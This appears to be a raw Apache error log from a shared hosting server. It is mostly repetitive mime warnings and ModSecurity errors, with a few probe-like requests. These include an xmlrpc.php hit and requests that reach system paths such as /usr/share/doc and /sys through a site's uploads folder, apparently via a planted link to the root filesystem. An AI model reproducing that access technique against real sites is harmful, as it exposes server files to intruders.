[Fri Jul 17 10:31:12.197271 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.267306 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.360309 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.484496 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.484595 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.484711 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.593810 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:12.766860 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.094441 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.111010 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.131970 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.179856 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.271471 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.371905 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.598962 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.678028 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.780642 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.877253 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:13.979430 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.079541 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.180222 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.308565 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.381753 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.482531 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.584662 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.688716 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.790870 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:14.887441 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:15.006842 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:15.212207 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3G35-BwPGxupoEJk2LAAAAA0"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:31:15.212253 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3G35-BwPGxupoEJk2LAAAAA0"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:31:15.351004 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.073881 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.151300 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.367579 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.377401 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.459302 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.475984 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.486621 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.513929 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.520401 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.629754 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.775384 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.776660 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.918237 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:16.927105 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.058223 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:38096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:17.128147 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.227368 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.331393 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.437511 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.535954 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.623640 2026] [security2:error] [pid 2075908:tid 2075908] [client 103.196.29.240:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-global": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "alm3HEj_u9-aE9qeQW0eXQAAAAk"]
[Fri Jul 17 10:31:17.623688 2026] [security2:error] [pid 2075908:tid 2075908] [client 103.196.29.240:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/vdeploy-ip": Permission denied [hostname "v-deploy.com"] [uri "/xmlrpc.php"] [unique_id "alm3HEj_u9-aE9qeQW0eXQAAAAk"]
[Fri Jul 17 10:31:17.635655 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:17.745430 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.022505 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038178 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038252 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038276 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038314 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038331 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038362 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038379 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038396 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038412 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038443 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038462 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038479 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038495 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038512 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038529 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038547 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038579 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038596 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038611 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038628 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038644 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038660 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038697 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.038740 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.068586 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.179116 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.302343 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.345473 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.445257 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.564514 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.651858 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.749253 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.878509 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:18.961315 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.088983 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.274793 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.275323 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.275867 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-JSON-XS/eg/"] [unique_id "alm3H0j_u9-aE9qeQW0eYAAAAAk"]
[Fri Jul 17 10:31:19.275890 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-JSON-XS/eg/"] [unique_id "alm3H0j_u9-aE9qeQW0eYAAAAAk"]
[Fri Jul 17 10:31:19.367836 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.492324 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.571475 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.667111 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.825758 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:19.920172 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.044248 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/irq
[Fri Jul 17 10:31:20.264182 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.317125 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.385004 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.418881 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.530135 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.588821 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.688601 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.708667 2026] [security2:error] [pid 2075908:tid 2075908] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "sysnytech.com"] [uri "/"] [unique_id "alm3IEj_u9-aE9qeQW0eYwAAAAk"]
[Fri Jul 17 10:31:20.709042 2026] [security2:error] [pid 2075908:tid 2075908] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sysnytech.com"] [uri "/"] [unique_id "alm3IEj_u9-aE9qeQW0eYwAAAAk"]
[Fri Jul 17 10:31:20.848499 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848575 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848599 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848633 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848652 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848690 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848710 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848728 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848745 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848775 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848793 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848811 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848828 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848846 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848865 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848883 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848915 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848933 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848949 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848966 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.848984 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.849000 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.849018 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.849035 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926333 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926418 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926443 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926477 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926505 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926542 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926564 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926582 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926599 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926628 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926645 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926662 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926709 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926729 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926746 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926774 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926825 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926843 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926859 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926877 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926893 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926911 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926928 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.926945 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:20.990571 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.110094 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.193495 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.221845 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.297296 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.395767 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498725 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498805 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498837 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498894 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498915 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498945 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498979 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.498998 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499018 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499059 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499083 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499101 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499117 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499134 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499152 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499180 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499222 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499239 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499254 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499272 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499291 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499311 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499328 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.499348 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.599369 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.700894 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801148 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801235 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801270 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801294 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801332 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801364 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801383 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801401 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801422 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801442 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801463 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801481 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
